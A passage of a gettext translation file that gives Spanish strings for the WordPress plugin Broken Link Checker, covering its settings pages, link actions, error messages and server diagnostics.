un nuevo enlace roto en tu sitio web." msgstr[1] "Broken Link Checker ha detectado %d nuevos enlaces rotos en tu sitio web." #: core/core.php:3632 core/core.php:3751 msgid "[%s] Broken links detected" msgstr "[%s] Enlaces rotos detectados" #: core/core.php:3509 msgid "If this value is zero even after several page reloads you have probably encountered a bug." msgstr "Si el valor es cero, incluso después de recargar la página varias veces, es probable que hayas encontrado un fallo." #: core/core.php:3490 msgid "Database character set" msgstr "Mapa de caracteres de la base de datos" #: core/core.php:3472 msgid "Redirects may be detected as broken links when open_basedir is on." msgstr "Las redirecciones podrían interpretarse como enlaces rotos cuando open_basedir esta activo." #: core/core.php:3471 msgid "On ( %s )" msgstr "Activado ( %s )" #: core/core.php:3463 core/core.php:3477 msgid "Off" msgstr "Desactivado" #: core/core.php:3458 msgid "Redirects may be detected as broken links when safe_mode is on." msgstr "Las redirecciones podrían interpretarse como enlaces rotos cuando safe_mode esta activo." #: core/core.php:3457 msgid "On" msgstr "Activado" #: core/core.php:3446 msgid "You must have either CURL or Snoopy installed for the plugin to work!" msgstr "¡Tienes que tener CURL o Snoopy instalado para que funcione el plugin!" #: core/core.php:3433 msgid "Installed" msgstr "Instalado" #: core/core.php:3427 msgid "CURL version" msgstr "Versión CURL" #: core/core.php:3424 core/core.php:3440 core/core.php:3445 msgid "Not installed" msgstr "No instalado" #: core/core.php:3412 msgid "You have an old version of CURL. Redirect detection may not work properly." msgstr "Tienes una versión obsoleta de CURL. La detección de redirecciones puede no funcionar correctamente." #: core/core.php:3399 msgid "MySQL version" msgstr "Versión MySQL" #: core/core.php:3393 msgid "PHP version" msgstr "Versión PHP" #. Plugin Name of the plugin #: core/core.php:3373 msgid "Broken Link Checker" msgstr "Broken Link Checker" #: core/core.php:3319 msgid "Failed to load link details (%s)" msgstr "Error cargando los detalles de carga del enlace (%s)" #: core/core.php:3305 msgid "Error : link ID not specified" msgstr "Error: link ID no especificado" #: core/core.php:3292 msgid "You don't have sufficient privileges to access this information!" msgstr "¡No tienes suficientes permisos para acceder a esta información!" #: core/core.php:3157 msgid "An unexpected error occured!" msgstr "¡Ocurrió un error inesperado!" #: core/core.php:3087 msgid "An unexpected error occurred!" msgstr "¡Ocurrió un error inesperado!" #: core/core.php:3061 core/core.php:3071 msgid "Oops, the new URL is invalid!" msgstr "¡Vaya!, la nueva URL no es válida" #: core/core.php:3043 msgid "Error : link_id or new_url not specified" msgstr "Error: No se especificó link_id o new_url" #: core/core.php:2984 core/core.php:3025 core/core.php:3174 core/core.php:3188 #: core/core.php:3250 msgid "Error : link_id not specified" msgstr "Error: link_id no especificado" #: core/core.php:2981 core/core.php:3022 msgid "Oops, couldn't modify the link!" msgstr "¡Vaya!, no se pudo modificar el enlace" #: core/core.php:2961 core/core.php:3008 core/core.php:3052 core/core.php:3148 #: core/core.php:3197 core/core.php:3259 msgid "Oops, I can't find the link %d" msgstr "¡Vaya!, no se pudo encontrar el enlace %d" #: core/core.php:2896 msgctxt "current load" msgid "Unknown" msgstr "Desconocido" #: core/core.php:2870 msgid "No links detected." msgstr "No se detectaron enlaces." #: core/core.php:2868 msgid "Searching your blog for links..." msgstr "Buscando enlaces en tu sitio..." #: core/core.php:2861 msgid "Detected %1$s in %2$s." msgstr "Detectado %1$s en %2$s." #: core/core.php:2855 msgid "Detected %1$s in %2$s and still searching..." msgstr "Detectado %1$s en %2$s y aún buscando..." #: core/core.php:2849 msgctxt "for the \"Detected X unique URLs in Y links\" message" msgid "%d link" msgid_plural "%d links" msgstr[0] "%d enlace" msgstr[1] "%d enlaces" #: core/core.php:2845 msgctxt "for the \"Detected X unique URLs in Y links\" message" msgid "%d unique URL" msgid_plural "%d unique URLs" msgstr[0] "%d URL única" msgstr[1] "%d URLs únicas" #: core/core.php:2839 msgid "No URLs in the work queue." msgstr "No hay URL en la cola de trabajo." #: core/core.php:2836 msgid "%d URL in the work queue" msgid_plural "%d URLs in the work queue" msgstr[0] "%d URL en la cola de trabajo" msgstr[1] "%d URL en la cola de trabajo" #: core/core.php:2829 msgid "No broken links found." msgstr "No se encontraron enlaces rotos." #: core/core.php:2823 msgid "Found %d broken link" msgid_plural "Found %d broken links" msgstr[0] "Se encontró %d enlace roto" msgstr[1] "Se encontraron %d enlaces rotos" #: core/core.php:2822 msgid "View broken links" msgstr "Ver enlaces rotos" #: core/core.php:2389 core/core.php:2953 core/core.php:3000 core/core.php:3037 #: core/core.php:3138 core/core.php:3182 core/core.php:3244 msgid "You're not allowed to do that!" msgstr "¡No tienes permisos para hacer eso!" #: core/core.php:2372 msgid "Color-code status codes" msgstr "Códigos de estado del código de color" #: core/core.php:2363 msgid "Highlight links broken for at least %s days" msgstr "Resalta los vínculos rotos desde hace al menos %s días" #: core/core.php:2348 msgid "Misc" msgstr "Varios" #: core/core.php:2344 includes/admin/table-printer.php:171 msgid "Apply" msgstr "Aplicar" #: core/core.php:2343 msgid "links" msgstr "enlaces" #: core/core.php:2336 msgid "Show on screen" msgstr "Mostrar en pantalla" #: core/core.php:2317 msgid "Table columns" msgstr "Columnas de la tabla" #: core/core.php:2292 msgctxt "a link from the admin notice under Tools - Broken links - Warnings" msgid "Change warning settings" msgstr "Cambiar los ajustes de advertencias" #: core/core.php:2286 msgctxt "admin notice under Tools - Broken links - Warnings" msgid "Hide notice" msgstr "Ocultar aviso" #: core/core.php:2281 msgid "The \"Warnings\" page lists problems that are probably temporary or suspected to be false positives.<br> Warnings that persist for a long time will usually be reclassified as broken links." msgstr "La página \"Advertencias\" muestra los problemas que probablemente sean temporales o posiblemente falsos positivos. <br> Las advertencias que persistan durante mucho tiempo normalmente se reclasifican como enlaces rotos." #: core/core.php:2224 msgid "%d link dismissed" msgid_plural "%d links dismissed" msgstr[0] "%d enlace descartado" msgstr[1] "%d enlaces descartados" #: core/core.php:2162 msgid "%d link marked as not broken" msgid_plural "%d links marked as not broken" msgstr[0] "%d enlace marcado como no roto" msgstr[1] "%d enlaces marcados como no rotos" #: core/core.php:2151 core/core.php:2213 msgid "Couldn't modify link %d" msgstr "No se pudo modificar el enlace %d" #: core/core.php:2143 core/core.php:2969 msgid "This link was manually marked as working by the user." msgstr "Este enlace se marcó manualmente como válido por el usuario." #: core/core.php:2094 msgid "%d link scheduled for rechecking" msgid_plural "%d links scheduled for rechecking" msgstr[0] "%d vínculo programado para recomprobar" msgstr[1] "%d vínculos programados para recomprobar" #: core/core.php:2064 msgid "Didn't find anything to delete!" msgstr "No se ha encontrado nada para borrar!" #: core/core.php:2042 msgid "%d item was skipped because it can't be moved to the Trash. You need to delete it manually." msgid_plural "%d items were skipped because they can't be moved to the Trash. You need to delete them manually." msgstr[0] "%d elemento se ha omitido debido a que no puede moverse a la papelera. Tendrás que borrarlo manualmente." msgstr[1] "%d elementos se han omitido debido a que no pueden moverse a la papelera. Tendrás que borrarlos manualmente." #: core/core.php:1933 msgid "Failed to remove %d link" msgid_plural "Failed to remove %d links" msgstr[0] "Fallo para remover %d enlace" msgstr[1] "Fallo para remover %d enlaces" #: core/core.php:1922 msgid "%d link removed" msgid_plural "%d links removed" msgstr[0] "%d vínculo eliminado" msgstr[1] "%d vínculos eliminados" #: core/core.php:1833 msgid "Failed to update %d link." msgid_plural "Failed to update %d links." msgstr[0] "Fallo al actualizar %d enlace." msgstr[1] "Fallo al actualizar %d enlaces." #: core/core.php:1822 msgid "%d link updated." msgid_plural "%d links updated." msgstr[0] "%d enlace actualizado." msgstr[1] "%d enlaces actualizados." #: core/core.php:1744 msgid "None of the selected links are redirects!" msgstr "Ninguno de los vínculos seleccionados son redirecciones!" #: core/core.php:1733 msgid "Failed to fix %d redirect" msgid_plural "Failed to fix %d redirects" msgstr[0] "No se ha podido solucionar %d redirección " msgstr[1] "No se han podido solucionar %d redirecciones" #: core/core.php:1722 msgid "Replaced %d redirect with a direct link" msgid_plural "Replaced %d redirects with direct links" msgstr[0] "Reemplazar %d redirección con un vínculo directo" msgstr[1] "Reemplazar %d redirecciones con un vínculos directos" #: core/core.php:1675 msgid "Filter deleted" msgstr "Filtro eliminado" #: core/core.php:1668 msgid "Filter ID not specified." msgstr "ID de Filtro no especificado" #: core/core.php:1641 msgid "Filter \"%s\" created" msgstr "Se ha creado el filtro \"%s\"" #: core/core.php:1631 msgid "Invalid search query." msgstr "Cadena de búsqueda inválida." #: core/core.php:1627 msgid "You must enter a filter name!" msgstr "¡Debes introducir un nombre para el filtro!" #: core/core.php:1562 core/core.php:1646 core/core.php:1678 msgid "Database error : %s" msgstr "Error en la base de datos: %s" #: core/core.php:1417 msgid "Enter the names of custom fields you want to check (one per line). If a field contains HTML code, prefix its name with <code>html:</code>. For example, <code>html:field_name</code>." msgstr "Introduce los nombres de los campos personalizados que quieras comprobar (uno por línea). Si un campo contiene código HTML, añade a su nombre el prefjio <code>html:</code>. Por ejemplo, <code>html:nombre_del_campo</code>." #: core/core.php:1335 msgid "Configure" msgstr "Configurar" #: core/core.php:1284 msgid "Save Changes" msgstr "Guardar Cambios" #: core/core.php:1273 msgid "The \"Nuclear Option\". Click this button to make the plugin empty its link database and recheck the entire site from scratch." msgstr "La \"Opción nuclear\". Haz clic en este botón para que el plugin vacíe su base de datos de enlaces y vuelva a comprobar todo el sitio desde cero." #: core/core.php:1269 msgid "Re-check all pages" msgstr "Volver a comprobar todas las páginas" #: core/core.php:1266 msgid "Forced recheck" msgstr "Forzar comprobación completa" #: core/core.php:1254 msgctxt "log file location" msgid "Custom" msgstr "Personalizado" #: core/core.php:1240 msgctxt "log file location" msgid "Default" msgstr "Por defecto" #: core/core.php:1231 msgid "Log file location" msgstr "Ubicación del archivo de registro" #: core/core.php:1224 msgid "Enable logging" msgstr "Permitir el registro" #: core/core.php:1218 msgid "Logging" msgstr "Registro" #: core/core.php:1200 msgid "Target resource usage" msgstr "Uso del recurso objetivo" #: core/core.php:1192 msgid "Load limiting only works on Linux-like systems where <code>/proc/loadavg</code> is present and accessible." msgstr "La limitación de carga sólo funciona en sistemas Linux donde <code>/proc/loadavg</code> es presente i accesible." #: core/core.php:1190 msgid "Not available" msgstr "No disponible" #: core/core.php:1181 msgid "Link checking will be suspended if the average <a href=\"%s\">server load</a> rises above this number. Leave this field blank to disable load limiting." msgstr "La comprobación de enlaces será suspendida si el promedio de <a href=\"%s\">carga del servidor</a> alcanza una cifra por encima de este número. Dejar en blanco este campo, deshabilita la limitación de carga." #: core/core.php:1176 msgid "Current load : %s" msgstr "Carga actual: %s" #: core/core.php:1161 msgid "Server load limit" msgstr "Límite de carga del servidor" #: core/core.php:1152 msgid "The plugin works by periodically launching a background job that parses your posts for links, checks the discovered URLs, and performs other time-consuming tasks. Here you can set for how long, at most, the link monitor may run each time before stopping." msgstr "El plugin funciona ejecutando periódicamente una tarea en segundo plano que analizará tus entradas, para comprobar los enlaces descubiertos, y realiza otras tareas que consumen tiempo. Desde aquí se puede establecer por cuánto tiempo, como máximo, el monitor de enlaces seguirá ejecutándose en segundo plano antes de detenerse." #: core/core.php:1135 msgid "Max. execution time" msgstr "Tiempo de ejecución máximo" #: core/core.php:1117 msgctxt "settings page" msgid "Show link actions" msgstr "Mostrar acciones de enlace" #: core/core.php:1101 msgctxt "dashboard widget visibility" msgid "Nobody (disables the widget)" msgstr "Nadie (desactiva el widget)" #: core/core.php:1100 msgctxt "dashboard widget visibility" msgid "Editor and above" msgstr "Editor y superior" #: core/core.php:1099 msgctxt "dashboard widget visibility" msgid "Administrator" msgstr "Administrador" #: core/core.php:1094 msgid "Show the dashboard widget for" msgstr "Mostrar el widget de escritorio a" #: core/core.php:1086 msgid "Run hourly in the background" msgstr "Ejecutar cada hora en segundo plano" #: core/core.php:1078 msgid "Run continuously while the Dashboard is open" msgstr "Ejecutar continuamente mientras el escritorio de WordPress está abierto" #: core/core.php:1070 msgid "Link monitor" msgstr "Monitor de enlaces" #: core/core.php:1063 msgid "Links that take longer than this to load will be marked as broken." msgstr "Los enlaces que tarden más de este tiempo en cargar se marcarán como rotos." #: core/core.php:1054 core/core.php:1141 core/core.php:3484 msgid "%s seconds" msgstr "%s segundos" #: core/core.php:1048 includes/links.php:1026 msgid "Timeout" msgstr "Fallo en la conexión" #: core/core.php:1029 msgid "Check links using" msgstr "Comprobar enlaces usando" #: core/core.php:1011 msgid "Don't check links where the URL contains any of these words (one per line) :" msgstr "No comprobar enlaces en los que la URL contenga alguna de estas palabras (una por línea):" #: core/core.php:1010 msgid "Exclusion list" msgstr "Lista de exclusión" #: core/core.php:1003 msgid "Error : All link parsers missing!" msgstr "Error: ¡No hay ningún analizador de enlaces!" #: core/core.php:997 msgid "Link types" msgstr "Tipos de enlace" #: core/core.php:964 msgid "Post statuses" msgstr "Estados de entrada" #: core/core.php:953 msgid "Look for links in" msgstr "Buscar enlaces en" #: core/core.php:938 msgid "Turning off this option will make the plugin report all problems as broken links." msgstr "Desactivar esta opción hará que el plugin informe de todos los problemas como si fuesen enlaces rotos." #: core/core.php:935 msgid "Show uncertain or minor problems as \"warnings\" instead of \"broken\"" msgstr "Mostrar problemas menores dudosos como \"advertencias\" en vez de como \"rotos\"" #: core/core.php:930 msgctxt "settings page" msgid "Warnings" msgstr "Advertencias" #: core/core.php:924 msgid "Suggest alternatives to broken links" msgstr "Sugiere alternativas a los enlaces rotos" #: core/core.php:919 msgctxt "settings page" msgid "Suggestions" msgstr "Sugerencias" #: core/core.php:908 msgctxt "\"Link tweaks\" settings" msgid "These settings only apply to the content of posts, not comments or custom fields." msgstr "Estos ajustes solo se aplican al contenido de las entradas, no a los comentarios o los campos personalizados." #: core/core.php:902 msgid "Stop search engines from following broken links" msgstr "Evitar que los motores de búsqueda sigan enlaces rotos" #: core/core.php:889 msgid "Example : Lorem ipsum <span %s>removed link</span>, dolor sit amet." msgstr "Ejemplo: Lorem ipsum <span %s>enlace roto</span>, dolor sit amet." #: core/core.php:869 msgid "Apply custom formatting to removed links" msgstr "Aplicar formatos personalizados a los enlaces borrados" #: core/core.php:861 core/core.php:892 msgid "Click \"Save Changes\" to update example output." msgstr "Haz clic en \"Guardar cambios\" para actualizar la visualización de ejemplo." #: core/core.php:858 msgid "Example : Lorem ipsum <a %s>broken link</a>, dolor sit amet." msgstr "Ejemplo : Lorem ipsum <a %s>enlace roto</a>, dolor sit amet." #: core/core.php:842 core/core.php:873 msgid "Edit CSS" msgstr "Modificar CSS" #: core/core.php:838 msgid "Apply custom formatting to broken links" msgstr "Aplicar formatos personalizados a los enlaces rotos" #: core/core.php:832 msgid "Link tweaks" msgstr "Ajustes de enlaces" #: core/core.php:825 msgid "Leave empty to use the e-mail address specified in Settings → General." msgstr "Déjalo vacío para utilizar la dirección de correo electrónico especificada en Ajustes → Generales." #: core/core.php:813 msgid "Notification e-mail address" msgstr "Dirección de correo electrónico de avisos" #: core/core.php:806 msgid "Send authors e-mail notifications about broken links in their posts" msgstr "Enviar a los autores avisos por correo electrónico de los enlaces rotos en sus entradas" #: core/core.php:798 msgid "Send me e-mail notifications about newly detected broken links" msgstr "Envíame un correo con notificaciones sobre los nuevos enlaces rotos detectados." #: core/core.php:792 msgid "E-mail notifications" msgstr "Notificaciones por correo electrónico" #: core/core.php:785 msgid "Existing links will be checked this often. New links will usually be checked ASAP." msgstr "Los enlaces ya existentes se comprobarán con esta frecuencia. Los nuevos enlaces se comprobarán lo antes posible." #: core/core.php:776 msgid "Every %s hours" msgstr "Cada %s horas" #: core/core.php:771 msgid "Check each link" msgstr "Comprobar cada enlace" #: core/core.php:743 includes/admin/options-page-js.php:56 msgid "Show debug info" msgstr "Mostrar información de depuración" #: core/core.php:741 includes/admin/table-printer.php:211 msgid "Status" msgstr "Estado" #: core/core.php:699 msgid "Broken Link Checker Options" msgstr "Opciones de Broken Link Checker" #: core/core.php:684 msgid "Advanced" msgstr "Avanzado" #: core/core.php:683 msgid "Protocols & APIs" msgstr "Protocolos y APIs" #: core/core.php:682 msgid "Which Links To Check" msgstr "Qué enlaces comprobar" #: core/core.php:681 msgid "Look For Links In" msgstr "Buscar enlaces en" #: core/core.php:680 msgid "General" msgstr "General" #: core/core.php:658 msgid "Complete site recheck started." msgstr "Comprobación completa del sitio iniciada." #: core/core.php:650 msgid "Thank you for your donation!" msgstr "¡Gracias por tu donación!" #: core/core.php:644 msgid "Settings saved." msgstr "Configuración guardada." #: core/core.php:403 includes/admin/table-printer.php:722 msgctxt "link action; replace one redirect with a direct link" msgid "Fix redirect" msgstr "Solucionar redirección" #: core/core.php:402 includes/admin/table-printer.php:289 #: includes/admin/table-printer.php:714 msgid "Recheck" msgstr "Recomprobar" #: core/core.php:401 includes/admin/table-printer.php:292 #: includes/admin/table-printer.php:702 msgid "Dismiss" msgstr "Descartar" #: core/core.php:400 includes/admin/links-page-js.php:111 #: includes/admin/table-printer.php:694 msgid "Not broken" msgstr "No roto" #: core/core.php:399 includes/admin/links-page-js.php:713 #: includes/admin/table-printer.php:293 includes/admin/table-printer.php:688 msgid "Unlink" msgstr "Desvincular" #: core/core.php:398 includes/admin/table-printer.php:288 #: includes/admin/table-printer.php:685 msgid "Edit URL" msgstr "Modificar URL" #: core/core.php:369 msgid "Settings" msgstr "Configuración" #: core/core.php:351 msgid "Go to Broken Links" msgstr "Ir a los enlaces rotos" #: core/core.php:336 msgid "View Broken Links" msgstr "Ver Enlaces Rotos" #: core/core.php:320 includes/link-query.php:37 msgid "Broken Links" msgstr "Enlaces Rotos" #: core/core.php:315 msgid "Link Checker" msgstr "Comprobador de enlaces" #: core/core.php:314 msgid "Link Checker Settings" msgstr "Configuración del comprobador de enlaces" #: core/core.php:223 msgid "Automatically expand the widget if broken links have been detected" msgstr "Expandir automáticamente el widget si de detectan enlaces rotos" #: core/core.php:196 includes/admin/options-page-js.php:18 msgid "[ Network error ]" msgstr "[ Error de Red ]" #: core/core.php:172 includes/admin/links-page-js.php:45 msgid "Loading..." msgstr "Cargando..."